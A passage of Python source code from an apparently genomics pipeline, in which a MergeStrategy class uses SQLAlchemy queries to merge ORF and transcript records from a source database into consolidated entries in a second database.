splice starts and ends, AND such as the values \n # of ALL of these attributes are provided (i.e. not NULL).\n # - For each entry of the list (i.e. grouped DSORF entries), create a new ORF \n # entry in the PRO database\n #\n Logger.get_instance().info( 'Starting to regroup the perfectly identical entries of the DSORF' +\n ' table (DS database) into new ORF entries (PRO database).' )\n \n Logger.get_instance().debug( 'MergeStrategy.merge_dsorfs(): Querying the DS database' +\n ' to regroup the exact same ORFs together.')\n grouped_dsorf_wo_any_null_base_query = SQLManagerDS.get_instance().get_session().query(\n DSORF.chromosome,\n DSORF.strand,\n DSORF.start_pos,\n DSORF.stop_pos,\n DSORF.spliced,\n DSORF.spliced_parts_count,\n DSORF.splice_starts,\n DSORF.splice_ends,\n func.group_concat( DSORF.id ),\n func.group_concat( DSORF.data_source ),\n func.count( DSORF.id )\n ).filter(\n DSORF.chromosome != None,\n DSORF.strand != None,\n DSORF.start_pos != None,\n DSORF.stop_pos != None,\n DSORF.spliced != None,\n DSORF.spliced_parts_count != None,\n DSORF.splice_starts != None,\n DSORF.splice_ends != None\n )\n \n # If necessary, filter out all the DSORF entries that have a difference\n # between their genomic lengths exceeding the provided threshold\n if ( self.gen_len_diff_threshold != Constants.GEN_LEN_DIFF_THRESHOLD_IGNORE ):\n grouped_dsorf_wo_any_null_excl_diff_ov_th = grouped_dsorf_wo_any_null_base_query.filter( \n DSORF.genomic_length_diff < self.gen_len_diff_threshold \n )\n else:\n grouped_dsorf_wo_any_null_excl_diff_ov_th = grouped_dsorf_wo_any_null_base_query\n \n grouped_dsorf_wo_any_null_all = grouped_dsorf_wo_any_null_excl_diff_ov_th.group_by(\n DSORF.chromosome,\n DSORF.strand,\n DSORF.start_pos,\n DSORF.stop_pos,\n DSORF.spliced,\n DSORF.spliced_parts_count,\n DSORF.splice_starts,\n DSORF.splice_ends\n ).all()\n \n \n # Get the number total number of elements expected to be treated and\n # reset the ProgressionBar instance to follow the progression\n ProgressionBar.get_instance().reset_instance( total = len( grouped_dsorf_wo_any_null_all ) )\n \n # Keep track of the IDs of all DSORFs that have already been merged\n grouped_dsorf_all_processed_ids = []\n \n # Instantiate the list of new objects to be added to the PRO database\n objects_to_insert = []\n \n # For each unique component of this list (i.e. each merged element, i.e. each ORF \n # identified as unique), create a new ORF in the PRO database\n Logger.get_instance().debug( 'MergeStrategy.merge_dsorfs(): Regrouping the perfectly' +\n ' identical entries of the DSORF table (DS database) into' +\n ' new ORF entries (PRO database).' )\n \n # NB: The merging of perfectly identical DSORF is multi-processed \n \n # Instantiate the pool\n p = Pool( self.thread_nb )\n \n # For each group of DSORF to merge, run the MergeDSORF.merge_exact_same_dsorf()\n # static method that will instantiate all the appropriate ORF and ORFDSAsso to \n # insert in the PRO database\n m = MergeDSORF()\n all_objects_to_insert = p.map( m.merge_exact_same_dsorf, grouped_dsorf_wo_any_null_all )\n p.close()\n # Wait for all processes to be completed\n p.join()\n \n # Get the new objects to add to the session\n for obj_to_insert in all_objects_to_insert:\n \n ProgressionBar.get_instance().increase_and_display()\n \n # Parse the output of the MergeDSORF.merge_exact_same_dsorf() method\n # and add the entries to the list to insert to the database\n ( new_objects, processed_ids ) = obj_to_insert\n \n objects_to_insert += new_objects\n grouped_dsorf_all_processed_ids += processed_ids \n \n # Delete the pool instance\n p.clear() \n \n # Insert the newly created objects in the database\n self.batch_insert_to_PRO_db( objects_to_insert = objects_to_insert,\n filename = 'exact_same_orfs',\n process = 'grouping exact same ORFs' )\n SQLManagerPRO.get_instance().close_session()\n SQLManagerDS.get_instance().close_session()\n \n \n ## Regroup the same ORFs together\n # ------------------------------\n \n # NB: This process is not multi-processed. Please see the documentation of the\n # MergeDSORF class for more information.\n \n # Then, \n # - Excluding all the DSORF that have already been processed in the first step, \n # get the list of DSORFs regrouped by ORFs sharing the same values for the following \n # attributes: chromosome, strand, start position, stop position, spliced, spliced \n # parts count, splice starts and ends, \n # AND such as the values of the following attributes are provided (i.e. not NULL): \n # chromosome, strand, start position stop position and spliced.\n # - For each entry of the list (i.e. grouped DSORF entries), if they can be merged \n # with one of the previously created ORF do it, otherwise, create a new entry.\n #\n Logger.get_instance().info( 'Starting to regroup the identical entries of the DSORF' +\n ' table (DS database) into new ORF entries (PRO database).' )\n \n Logger.get_instance().debug( 'MergeStrategy.merge_dsorfs(): Querying the DS database' +\n ' to regroup the same ORFs together.')\n \n grouped_dsorf_wo_null_base_query = SQLManagerDS.get_instance().get_session().query(\n DSORF.chromosome,\n DSORF.strand,\n DSORF.start_pos,\n DSORF.stop_pos,\n DSORF.spliced,\n DSORF.spliced_parts_count,\n DSORF.splice_starts,\n DSORF.splice_ends,\n func.group_concat( DSORF.id ),\n func.group_concat( DSORF.data_source ),\n func.count( DSORF.id )\n ).filter( \n DSORF.id.notin_( grouped_dsorf_all_processed_ids )\n ).filter(\n DSORF.chromosome != None,\n DSORF.strand != None,\n DSORF.start_pos != None,\n DSORF.stop_pos != None,\n or_( and_( DSORF.spliced == True,\n DSORF.splice_starts != None,\n DSORF.splice_ends != None ),\n DSORF.spliced == False ) \n )\n \n # If necessary, filter out all the DSORF entries that have a difference\n # between their genomic lengths exceeding the provided threshold\n if ( self.gen_len_diff_threshold != Constants.GEN_LEN_DIFF_THRESHOLD_IGNORE ): \n grouped_dsorf_wo_null_excl_diff_ov_th = grouped_dsorf_wo_null_base_query.filter( \n or_( DSORF.genomic_length_diff < self.gen_len_diff_threshold,\n DSORF.genomic_length_diff == None )\n )\n else:\n grouped_dsorf_wo_null_excl_diff_ov_th = grouped_dsorf_wo_null_base_query\n \n grouped_dsorf_wo_null_all = grouped_dsorf_wo_null_excl_diff_ov_th.group_by(\n DSORF.chromosome,\n DSORF.strand,\n DSORF.start_pos,\n DSORF.stop_pos,\n DSORF.spliced,\n DSORF.spliced_parts_count,\n DSORF.splice_starts,\n DSORF.splice_ends,\n ).all()\n \n \n # For each unique component of this list (i.e. each merged element), \n # check if there is an existing ORF entry sharing the same properties in the \n # PRO database for all available properties.\n # If there are ORFs sharing the same properties in the PRO database, \n # merge them together. Otherwise, create a new ORF entry in the PRO database.\n Logger.get_instance().debug( 'MergeStrategy.merge_dsorfs(): Regrouping the same DSORFs' +\n ' to merge them with existing ORF entries (PRO database)'+\n ' or to create new ORF entries (PRO database).' )\n \n # Get the number total number of elements expected to be treated and \n # reset the ProgressionBar instance to follow the progression\n ProgressionBar.get_instance().reset_instance( total = len( grouped_dsorf_wo_null_all ) )\n \n for grouped_dsorf_wo_null in grouped_dsorf_wo_null_all:\n \n # Update and display the progression bar on the console\n ProgressionBar.get_instance().increase_and_display()\n \n objects_to_insert = []\n \n # Parse the list to get the necessary attributes to instantiate an ORF object\n orf_chromosome = grouped_dsorf_wo_null[ 0 ]\n orf_strand = grouped_dsorf_wo_null[ 1 ]\n orf_start_pos = grouped_dsorf_wo_null[ 2 ]\n orf_stop_pos = grouped_dsorf_wo_null[ 3 ]\n orf_spliced = grouped_dsorf_wo_null[ 4 ]\n orf_spliced_parts_count = grouped_dsorf_wo_null[ 5 ]\n orf_splice_starts = grouped_dsorf_wo_null[ 6 ]\n orf_splice_ends = grouped_dsorf_wo_null[ 7 ]\n orf_related_dsorfs_ids = GeneralUtil.string_to_list( str_to_convert = grouped_dsorf_wo_null[ 8 ], \n fct = 'int' )\n orf_related_datasources = GeneralUtil.string_to_list( str_to_convert = grouped_dsorf_wo_null[ 9 ] )\n nb_of_dsorfs_grouped = grouped_dsorf_wo_null[ 10 ]\n \n # Keep track of all the IDs regrouped in this ORF\n grouped_dsorf_all_processed_ids += orf_related_dsorfs_ids\n \n # If there is already an ORF looking like this one in the database, \n # then merge these two ORFs i.e. create a new ORFDSAsso entry, keep \n # record of the relationship with the corresponding ORF, and increase \n # of one the count of (non-ambiguous) DSORFs associated to it.\n \n # Get the list of attributes which are not null for the current element \n # of the list (i.e. the elements that do not equal None) and that should \n # be used as filter to query the ORF table\n attributes_to_use_for_filter = {}\n \n for att in MergeStrategy.ATTRIBUTES_FOR_MERGING_SAME_DSORF:\n # Get the value of the attribute\n att_value = eval( 'orf_' + att )\n # Add the attribute as a filter to use only if it is not null\n if ( att_value != None ):\n attributes_to_use_for_filter[ att ] = att_value\n \n # Query the PRO database to the the ORF(s) that look like the current entry\n existing_orf_query = SQLManagerPRO.get_instance().get_session().query( ORF )\n # Sequentially apply the filters on the query\n for ( att, value ) in attributes_to_use_for_filter.items():\n existing_orf_query = existing_orf_query.filter( eval( 'ORF.' + att ) == value )\n \n existing_orf = existing_orf_query.all()\n \n\n # If there is at least one ORF returned, i.e. if there is at least one \n # ORF entry in the PRO database that may match the current element of the \n # list, then merge the DSORF(s) of the current element of the list with each \n # of these ORF entries. In other words, for each ORF entry that matches with \n # the current DSORF(s), create a new ORFDSAsso entry, keep track of the \n # relationship to it and increase of one the count of DSORFs associated to it.\n if ( len( existing_orf ) > 0 ):\n \n for orf in existing_orf:\n \n # Increase the DS count of one\n orf.count_ds += 1\n objects_to_insert.append( orf )\n \n # Create the new ORFDSAsso\n for k in range( len( orf_related_dsorfs_ids ) ):\n orfdsasso = ORFDSAsso( orf_id = orf.id,\n dsorf_id = orf_related_dsorfs_ids[ k ],\n data_source = orf_related_datasources[ k ],\n ambiguous = False )\n objects_to_insert.append( orfdsasso )\n\n # Otherwise create a new ORF entry, using the provided attributes\n else:\n \n # The lowest ID of all DSORFs regrouped will be used \n # as unique ID of the new ORF object\n orf_id = min( orf_related_dsorfs_ids )\n \n # Instantiate the new ORF object\n orf = ORF( id = orf_id,\n chromosome = orf_chromosome,\n strand = orf_strand,\n start_pos = orf_start_pos,\n stop_pos = orf_stop_pos,\n spliced = orf_spliced,\n spliced_parts_count = orf_spliced_parts_count,\n splice_starts = orf_splice_starts,\n splice_ends = orf_splice_ends,\n count_ds = nb_of_dsorfs_grouped,\n count_ds_ambiguous = 0 )\n objects_to_insert.append( orf )\n \n # Register in the ORFDSAsso table the relationship between this ORF and\n # the DSORF from which it derives\n for k in range( len( orf_related_dsorfs_ids ) ):\n \n orfdsasso = ORFDSAsso( orf_id = orf.id,\n dsorf_id = orf_related_dsorfs_ids[ k ],\n data_source = orf_related_datasources[ k ],\n ambiguous = False )\n objects_to_insert.append( orfdsasso )\n \n \n # Add the new objects to the session (PRO database), and flush the session\n # so the query on the next step will return up-to-date results\n SQLManagerPRO.get_instance().add_and_flush( objects_to_add = objects_to_insert, \n process = 'grouping same ORFs' )\n \n # Commit the changes and close the session\n SQLManagerPRO.get_instance().commit()\n SQLManagerPRO.get_instance().close_session()\n SQLManagerDS.get_instance().close_session()\n \n \n \n ## Regroup the ORFs that look similar together\n # -------------------------------------------\n \n # NB: This process is not multi-processed. Please see the documentation of the\n # MergeDSORF class for more information.\n \n # Finally, \n # - Group all the DSORFs that have not already been processed in the previous \n # steps but sharing the same values for the following attributes:\n # chromosome, strand, start position, stop position, spliced, \n # spliced parts count, splice starts and ends, \n # AND such as the chromosome name of the ORF is known \n # AND for which at least two of the following attributes are provided (i.e. not NULL):\n # strand, start, stop position\n # - For each entry of the list (i.e. grouped DSORF entries) , search if these DSORFs can\n # be merged with one (some) of the previously created ORF entry (entries).\n #\n Logger.get_instance().info( 'Starting to regroup the similar entries of the DSORF' +\n ' table (DS database) into existing ORF entries (PRO database).' )\n\n Logger.get_instance().debug( 'MergeStrategy.merge_dsorfs(): Querying the DS database' +\n ' to regroup the similar ORFs together.')\n \n grouped_dsorf_all = SQLManagerDS.get_instance().get_session().query( \n DSORF.chromosome,\n DSORF.strand,\n DSORF.start_pos,\n DSORF.stop_pos,\n DSORF.spliced,\n DSORF.spliced_parts_count,\n DSORF.splice_starts,\n DSORF.splice_ends,\n func.group_concat( DSORF.id ),\n func.group_concat( DSORF.data_source ),\n func.count( DSORF.id )\n ).filter( \n DSORF.id.notin_( grouped_dsorf_all_processed_ids )\n ).filter(\n and_(\n DSORF.chromosome != None,\n or_(\n and_( DSORF.strand != None, DSORF.start_pos != None ),\n and_( DSORF.strand != None, DSORF.stop_pos != None ),\n and_( DSORF.start_pos != None, DSORF.stop_pos != None )\n )\n )\n ).group_by(\n DSORF.chromosome,\n DSORF.strand,\n DSORF.start_pos,\n DSORF.stop_pos,\n DSORF.spliced,\n DSORF.spliced_parts_count,\n DSORF.splice_starts,\n DSORF.splice_ends,\n ).all()\n \n \n # For each unique component of this list (i.e. each merged element), \n # check if there is an ORF sharing the same (provided) properties \n # in the PRO database\n Logger.get_instance().debug( 'MergeStrategy.merge_dsorfs(): Regrouping the similar' +\n ' entries of the DSORF table (DS database) with existing' +\n ' ORF entries (PRO database).' )\n \n # Get the number total number of elements expected to be treated and \n # reset the ProgressionBar instance to follow the progression\n ProgressionBar.get_instance().reset_instance( total = len( grouped_dsorf_all ) )\n \n for grouped_dsorf in grouped_dsorf_all:\n \n # Update and display the progression bar on the console\n ProgressionBar.get_instance().increase_and_display()\n \n objects_to_update = []\n \n # Parse the list to get the necessary attributes to instantiate an ORF object\n orf_chromosome = grouped_dsorf[ 0 ]\n orf_strand = grouped_dsorf[ 1 ]\n orf_start_pos = grouped_dsorf[ 2 ]\n orf_stop_pos = grouped_dsorf[ 3 ]\n orf_spliced = grouped_dsorf[ 4 ]\n orf_spliced_parts_count = grouped_dsorf[ 5 ]\n orf_splice_starts = grouped_dsorf[ 6 ]\n orf_splice_ends = grouped_dsorf[ 7 ]\n orf_related_dsorfs_ids = GeneralUtil.string_to_list( str_to_convert = grouped_dsorf[ 8 ], \n fct = 'int' )\n orf_related_datasources = GeneralUtil.string_to_list( str_to_convert = grouped_dsorf[ 9 ] )\n nb_of_dsorfs_grouped = grouped_dsorf[ 10 ]\n \n # If there is already an ORF looking like this one in the database, \n # then merge these two ORFs, i.e. create a new ORFDSAsso entry, \n # to keep record of the relationship with the corresponding ORF,\n # and increase the count of ambiguous DSORFs associated to it of one.\n \n # Get the list of attributes which are not null for the current element \n # of the list (i.e. that do not equal None) and that should be use as \n # filter to query the ORF table\n attributes_to_use_for_filter = {}\n \n for att in MergeStrategy.ATTRIBUTES_FOR_MERGING_SIMILAR_DSORF:\n # Get the value of the attribute\n att_value = eval( 'orf_' + att )\n # Add the attribute as a filter to use only if it is not null\n if ( att_value != None ):\n attributes_to_use_for_filter[ att ] = att_value\n \n # Query the PRO database to get the ORF(s) that look like the current entry\n existing_orf_query = SQLManagerPRO.get_instance().get_session().query( ORF )\n # Sequentially apply the filters on the query\n for ( att, value ) in attributes_to_use_for_filter.items():\n existing_orf_query = existing_orf_query.filter( eval( 'ORF.' + att ) == value )\n \n existing_orf = existing_orf_query.all() \n\n # If there is at least one ORF returned, i.e. if there is at least one \n # ORF entry in the PRO database that may match the current element of the \n # list, then merge the DSORF(s) of the current element of the list with each \n # of these ORF entries. In other words, for each ORF that may match with the\n # current DSORF(s), create a new ORFDSAsso entry, keep track of the relationship \n # to it and increase of one the count of ambiguous DSORFs associated to it.\n # Otherwise the DSORFs grouped together are not registered in the PRO database \n # (as too many essential information are missing to create a new entry).\n if ( len( existing_orf ) > 0 ):\n \n for orf in existing_orf:\n \n # Increase the DS ambiguous count of one\n orf.count_ds_ambiguous += 1\n objects_to_update.append( orf )\n \n # Create the new ORFDSAsso\n for k in range( len( orf_related_dsorfs_ids ) ):\n orfdsasso = ORFDSAsso( orf_id = orf.id,\n dsorf_id = orf_related_dsorfs_ids[ k ],\n data_source = orf_related_datasources[ k ],\n ambiguous = True )\n objects_to_update.append( orfdsasso )\n \n # Add the updated objects to the session (PRO database), and flush the session, \n # so the query on the next step will return up-to-date results\n SQLManagerPRO.get_instance().add_and_flush( objects_to_add = objects_to_update, \n process = 'grouping similar ORFs' )\n \n # Commit the changes and close the session\n SQLManagerPRO.get_instance().commit()\n SQLManagerPRO.get_instance().close_session()\n SQLManagerDS.get_instance().close_session()\n\n \n \n # ===============================================================================\n # Methods related to the merging of DSTranscripts\n # =============================================================================== \n \n ## merge_dstranscripts\n # -------------------\n #\n # This methods aims to merge the similar entries of the DSTranscript table \n # (DS database) into new entries of the Transcript table (PRO database).\n # \n def merge_dstranscripts( self ):\n \n Logger.get_instance().info( 'Starting to merge the entries of the DSTranscript table.')\n \n objects_to_insert = []\n \n ## Regroup the same transcripts together\n # -------------------------------------\n \n # First, \n # - Get the list of DSTranscripts regrouped by transcripts sharing the same ID\n # and such as the transcript does not start with the \"UNKNOWN_TRANSCRIPT_\" prefix \n # (i.e. the transcript is not a \"fake\" transcript).\n # NB: This only happens when an official ID (e.g. NCBI or Ensembl transcript ID) \n # has been provided by the data source.\n # - For each entry of the list (i.e. grouped DSTranscript entries), create a new\n # Transcript entry in the PRO database.\n #\n Logger.get_instance().info( 'Starting to regroup the entries of the DSTranscript table' +\n ' (DS database) with the same official ID into new Transcript' +\n ' entries (PRO database).' )\n \n Logger.get_instance().debug( 'MergeStrategy.merge_dstranscripts(): Querying the DS database' +\n ' to regroup the transcripts with same official ID together.')\n grouped_dstranscripts_by_ids_all = SQLManagerDS.get_instance().get_session().query(\n DSTranscript.transcript_id,\n DSTranscript.gene_id,\n func.group_concat( DSTranscript.strand ),\n func.group_concat( DSTranscript.start_pos ),\n func.group_concat( DSTranscript.end_pos ),\n func.group_concat( DSTranscript.cds_start_pos ),\n func.group_concat( DSTranscript.cds_stop_pos ),\n func.group_concat( DSTranscript.rna_biotype ),\n func.group_concat( DSTranscript.id ),\n func.group_concat( DSTranscript.data_source ),\n func.count( DSTranscript.id )\n ).filter(\n DSTranscript.transcript_id.notlike( Constants.PREFIX_FAKE_TRANSCRIPT + '%' )\n ).group_by(\n DSTranscript.transcript_id,\n DSTranscript.gene_id\n ).order_by(\n DSTranscript.transcript_id.desc()\n ).all()\n \n # For each unique component of this list (i.e. each merged element, i.e. each \n # transcript identified as unique), create a new Transcript in the PRO database\n Logger.get_instance().debug( 'MergeStrategy.merge_dstranscripts(): Regrouping the' +\n ' entries of the DSTranscript table (DS database) with' +\n ' the same official IDs into new Transcript entries (PRO database).' )\n \n # Get the number total number of elements expected to be treated and \n # reset the ProgressionBar instance to follow the progression\n ProgressionBar.get_instance().reset_instance( total = len( grouped_dstranscripts_by_ids_all ) )\n \n if ( len( grouped_dstranscripts_by_ids_all ) != 0 ):\n previous_transcript_id = grouped_dstranscripts_by_ids_all[ 0 ][ 0 ]\n all_gene_ids_for_transcript = [ grouped_dstranscripts_by_ids_all[ 0 ][ 1 ] ]\n \n for grouped_dstranscripts_by_ids in grouped_dstranscripts_by_ids_all:\n \n # Update and display the progression bar on the console\n ProgressionBar.get_instance().increase_and_display()\n \n # Parse the list into a dictionary to get the necessary \n # attributes to instantiate a Transcript object\n transcript_val = {\n 'transcript_id': grouped_dstranscripts_by_ids[ 0 ],\n 'gene_id': grouped_dstranscripts_by_ids[ 1 ],\n 'strand': GeneralUtil.string_to_list( str_to_convert = grouped_dstranscripts_by_ids[ 2 ] ),\n 'start_pos': GeneralUtil.string_to_list( str_to_convert = grouped_dstranscripts_by_ids[ 3 ], fct = 'int' ),\n 'end_pos': GeneralUtil.string_to_list( str_to_convert = grouped_dstranscripts_by_ids[ 4 ], fct = 'int' ),\n 'cds_start_pos': GeneralUtil.string_to_list( str_to_convert = grouped_dstranscripts_by_ids[ 5 ], fct = 'int' ),\n 'cds_stop_pos': GeneralUtil.string_to_list( str_to_convert = grouped_dstranscripts_by_ids[ 6 ], fct = 'int' ),\n 'rna_biotype': GeneralUtil.string_to_list( str_to_convert = grouped_dstranscripts_by_ids[ 7 ] ) ,\n 'related_dstranscript_ids': GeneralUtil.string_to_list( str_to_convert = grouped_dstranscripts_by_ids[ 8 ], fct = 'int' ),\n 'related_datasources': GeneralUtil.string_to_list( str_to_convert = grouped_dstranscripts_by_ids[ 9 ] ),\n 'nb_of_dstranscripts_grouped': grouped_dstranscripts_by_ids[ 10 ]\n }\n \n # The lowest transcript ID of all DSTranscripts regrouped will be used \n # as unique ID of the new Transcript object\n transcript_id = min( transcript_val.get( 'related_dstranscript_ids' ) )\n \n # If there are attributes that are provided (i.e. different to None) and do not agree with each other, set them to None\n for att in MergeStrategy.ATT_TO_CHECK_FOR_MERGING_SAME_DSTRANSCRIPT:\n \n att_value = transcript_val.get( att )\n if ( att_value != None ):\n \n # Remove any ambiguous flag from the list of values\n att_value = [ v for v in att_value if ( v != Constants.DENCELLORFOBJ_AMBIGUOUS_ATT ) ]\n \n # If there is one single element different from None, \n # use this value to instantiate the new Transcript\n if ( len( att_value ) == 1 ):\n transcript_val[ att ] = att_value[ 0 ]\n \n # Otherwise, look if all provided elements are equals. \n # If not, set the value of the new Transcript attribute to None \n # and log a warning.\n else:\n if all( ( ( e == None ) or ( ( e != None ) and ( e == att_value[ 0 ] ) ) ) for e in att_value ):\n transcript_val[ att ] = att_value[ 0 ]\n \n else:\n transcript_val[ att ] = None\n Logger.get_instance().warning( 'Several values have been found for the' +\n ' attribute ' + str( att ) + ' whilst creating' +\n ' the Transcript with ID \"' + str( transcript_id ) + \n '\" by merging the DSTranscript with IDs \"' + \n ', '.join( transcript_val[ 'related_dstranscript_ids' ] ) + \n '\" (' + str( [ e for e in att_value if ( e != None ) ] ) + ').' +\n ' Hence the value of this attribute has been set to None.' +\n ' Warning code: ' + LogCodes.WARN_MERG_CONFL_TR + '.' )\n \n # Instantiate the new transcript\n transcript = Transcript( id = transcript_id,\n transcript_id = transcript_val.get( 'transcript_id' ),\n gene_id = transcript_val.get( 'gene_id' ),\n strand = transcript_val.get( 'strand' ),\n start_pos = transcript_val.get( 'start_pos' ),\n end_pos = transcript_val.get( 'end_pos' ),\n cds_start_pos = transcript_val.get( 'cds_start_pos' ),\n cds_stop_pos = transcript_val.get( 'cds_stop_pos' ),\n rna_biotype = transcript_val.get( 'rna_biotype' ),\n count_ds = transcript_val.get( 'nb_of_dstranscripts_grouped' ),\n count_ds_ambiguous = 0 )\n objects_to_insert.append( transcript )\n \n # Register in the TranscriptDSAsso the relationship between this Transcript\n # and the DSTranscript entries from which it has been created\n for k in range( len( transcript_val[ 'related_dstranscript_ids' ] ) ):\n \n transcrtipdsasso = TranscriptDSAsso( transcript_id = transcript.id,\n dstranscript_id = transcript_val.get( 'related_dstranscript_ids' )[ k ],\n data_source = transcript_val.get( 'related_datasources' )[ k ],\n ambiguous = False )\n objects_to_insert.append( transcrtipdsasso )\n \n \n # If the same transcript ID is found associated with several Gene IDs, log a warning \n if ( transcript_val.get( 'transcript_id' ) != previous_transcript_id ):\n \n # If the previous transcript ID was associated wit several gene IDs, log a warning \n if ( len( all_gene_ids_for_transcript ) != 1 ):\n Logger.get_instance().warning( 'The official transcript ID \"' + \n str( previous_transcript_id ) +\n '\" has been found associated with several genes: \"' + \n ', '.join( all_gene_ids_for_transcript ) + \n '\". Hence, several distinct entries will be created in' +\n ' the Transcripts table (PRO database).' +\n ' Warning code: ' + LogCodes.WARN_MERG_CONFL_GENE_ASSO_TR + '.' )\n \n # Keep the record of all the genes associated with this transcript id\n all_gene_ids_for_transcript = [ transcript_val.get( 'gene_id' ) ]\n \n # Store the value of this new transcript ID\n previous_transcript_id = transcript_val.get( 'transcript_id' )\n \n else:\n # Keep record of any new gene ID associated with this transcript\n if ( transcript_val.get( 'gene_id' ) not in all_gene_ids_for_transcript ):\n all_gene_ids_for_transcript.append( transcript_val.get( 'gene_id' ) )\n \n \n # Insert the newly created objects in the database\n self.batch_insert_to_PRO_db( objects_to_insert = objects_to_insert, \n filename = 'transcripts_with_same_off_id',\n process = 'grouping transcripts with same official ID' )\n SQLManagerPRO.get_instance().close_session()\n SQLManagerDS.get_instance().close_session()\n \n \n \n objects_to_insert = []\n \n ## Regroup the transcripts that look similar together\n # --------------------------------------------------\n \n # Then, \n # - Group all the DSTranscripts that have not already been processed \n # (i.e. all the transcript having the \"UNKNOWN_TRANSCRIPT_\" prefix) \n # together by related gene ID.\n # - When the information about the transcript start and end is provided, \n # try to see if the transcript can be merged with one of the previously \n # created Transcript. If this is not possible or if the start and end are\n # missing, create a new Transcript entry with ID [ \"UNKNOWN_\" + gene_id ].\n #\n Logger.get_instance().info( 'Starting to regroup the entries of the DSTranscript table' +\n ' (DS database) with the same \"unknown\" ID into new Transcript' +\n ' entries (PRO database).' )\n \n Logger.get_instance().debug( 'MergeStrategy.merge_dstranscripts(): Querying the DS database' +\n ' to regroup the same \"unknown\" transcripts together.')\n \n grouped_dstranscripts_by_gene_all = SQLManagerDS.get_instance().get_session().query(\n DSTranscript.gene_id,\n DSTranscript.strand,\n DSTranscript.start_pos,\n DSTranscript.end_pos,\n DSTranscript.cds_start_pos,\n DSTranscript.cds_stop_pos,\n func.group_concat( DSTranscript.rna_biotype ),\n func.group_concat( DSTranscript.transcript_id ),\n func.group_concat( DSTranscript.id ),\n func.group_concat( DSTranscript.data_source ),\n func.count( DSTranscript.id )\n ).filter(\n DSTranscript.transcript_id.like( Constants.PREFIX_FAKE_TRANSCRIPT + '%' )\n ).group_by(\n DSTranscript.gene_id,\n DSTranscript.strand,\n DSTranscript.start_pos,\n DSTranscript.end_pos,\n DSTranscript.cds_start_pos,\n DSTranscript.cds_stop_pos,\n ).all()\n \n # For each unique component of the list (i.e. each merged element), check if there is a Transcript\n # sharing the same gene ID, start and stop positions in the PRO database\n Logger.get_instance().debug( 'MergeStrategy.merge_dstranscripts(): Regrouping the' +\n ' entries of the DSTranscript table (DS database) with' +\n ' the \"unknown\" IDs into new Transcript entries (PRO database).' )\n \n # Get the number total number of elements expected to be treated and \n # reset the ProgressionBar instance to follow the progression\n ProgressionBar.get_instance().reset_instance( total = len( grouped_dstranscripts_by_gene_all ) )\n \n for grouped_dstranscripts_by_gene in grouped_dstranscripts_by_gene_all:\n \n # Update and display the progression bar on the console\n ProgressionBar.get_instance().increase_and_display()\n \n objects_to_insert = []\n \n # Parse the list into a dictionary to get the necessary attributes \n # to search for or instantiate a Transcript object\n transcript_val = {\n 'gene_id': grouped_dstranscripts_by_gene[ 0 ],\n 'strand': grouped_dstranscripts_by_gene[ 1 ],\n 'start_pos': grouped_dstranscripts_by_gene[ 2 ],\n 'end_pos': grouped_dstranscripts_by_gene[ 3 ],\n 'cds_start_pos': grouped_dstranscripts_by_gene[ 4 ],\n 'cds_stop_pos': grouped_dstranscripts_by_gene[ 5 ],\n 'rna_biotype': GeneralUtil.string_to_list( str_to_convert = grouped_dstranscripts_by_ids[ 6 ] ) ,\n 'related_dstranscript_tr_ids': GeneralUtil.string_to_list( str_to_convert = grouped_dstranscripts_by_gene[ 7 ] ),\n 'related_dstranscript_ids': GeneralUtil.string_to_list( str_to_convert = grouped_dstranscripts_by_gene[ 8 ], fct = 'int' ),\n 'related_datasources': GeneralUtil.string_to_list( str_to_convert = grouped_dstranscripts_by_gene[ 9 ] ),\n 'nb_of_dstranscripts_grouped': grouped_dstranscripts_by_gene[ 10 ]\n }\n \n \n # If there is already an Transcript entry looking like this one in the database, \n # then merge these two Transcripts, i.e. create a new TranscriptDSAsso entry to \n # keep record of the relationship with the corresponding Transcript,\n # and increase of one the count of ambiguous Transcripts associated to it.\n \n # Query the Transcript table for entries that have the same gene ID\n existing_transcript_query_on_gene = SQLManagerPRO.get_instance().get_session().query( Transcript ).filter( \n Transcript.gene_id == transcript_val.get( 'gene_id' )\n )\n \n \n # Get the list of attributes which are not null for the current element \n # of the list (i.e. that do not equal None) and that should be use as \n # filter to query the Transcript table\n attributes_to_use_for_filter = {}\n \n for att in MergeStrategy.ATTRIBUTES_FOR_MERGING_SIMILAR_DSTRANSCRIPT:\n # Get the value of the attribute\n att_value = transcript_val.get( att )\n # Add the attribute as a filter to use only if it is not null\n if ( att_value != None ):\n attributes_to_use_for_filter[ att ] = att_value\n \n # Query the PRO database to get the Transcript entrie(s)\n # that look like the current entry\n existing_transcript_query_on_all = existing_transcript_query_on_gene\n # Sequentially apply the filter on the query\n for ( att, value ) in attributes_to_use_for_filter.items():\n existing_transcript_query_on_all = existing_transcript_query_on_all.filter( eval( 'DSTranscript.' + att ) == value )\n \n existing_transcript = existing_transcript_query_on_all.all()\n \n # If there is at least one Transcript returned, i.e. if there is at \n # least one Transcript in the PRO database that may match the current \n # element of the list, and such as the two transcript share at least \n # two characteristics (strand, start, end, CDS start and stop positions), \n # then merge the DSTranscript(s) of the current element of the list with \n # each of these Transcript entries. In other words, for each Transcript \n # entry that may match with the current DSDSTranscript(s), create a new \n # TranscriptDSAsso entry, keep the relationship with it and increase of \n # one the count of ambiguous DSDSTranscripts associated to it. \n if ( ( len( attributes_to_use_for_filter.keys() ) > 1 )\n and ( len( existing_transcript ) > 1 ) ):\n \n for transcript in existing_transcript:\n \n # Increase the non-ambiguous count of one\n transcript.count_ds_ambiguous += 1\n \n # Create the new TranscriptDSAsso\n for k in range( len( transcript_val.get( 'related_dstranscript_ids' ) ) ):\n transcriptdsasso = TranscriptDSAsso( transcript_id = transcript.id,\n dstranscript_id = transcript_val.get( 'related_dstranscript_ids' )[ k ],\n data_source = transcript_val.get( 'related_datasources' )[ k ],\n ambiguous = True )\n objects_to_insert.append( transcriptdsasso )\n \n objects_to_insert.append( transcript )\n \n\n # Otherwise create a new Transcript\n else:\n \n transcript_id = min( transcript_val.get( 'related_dstranscript_ids' ) )\n \n # Create the new Transcript\n transcript = Transcript( id = transcript_id,\n transcript_id = Constants.UNKNOWN_TRANSCRIPT,\n gene_id = transcript_val.get( 'gene_id' ),\n strand = transcript_val.get( 'strand' ),\n start_pos = transcript_val.get( 'start_pos' ),\n end_pos = transcript_val.get( 'end_pos' ),\n cds_start_pos = transcript_val.get( 'cds_start_pos' ),\n cds_stop_pos = transcript_val.get( 'cds_stop_pos' ),\n rna_biotype = transcript_val.get( 'rna_biotype' ),\n count_ds = 0,\n count_ds_ambiguous = transcript_val.get( 'nb_of_dstranscripts_grouped' ) )\n \n # Create the new 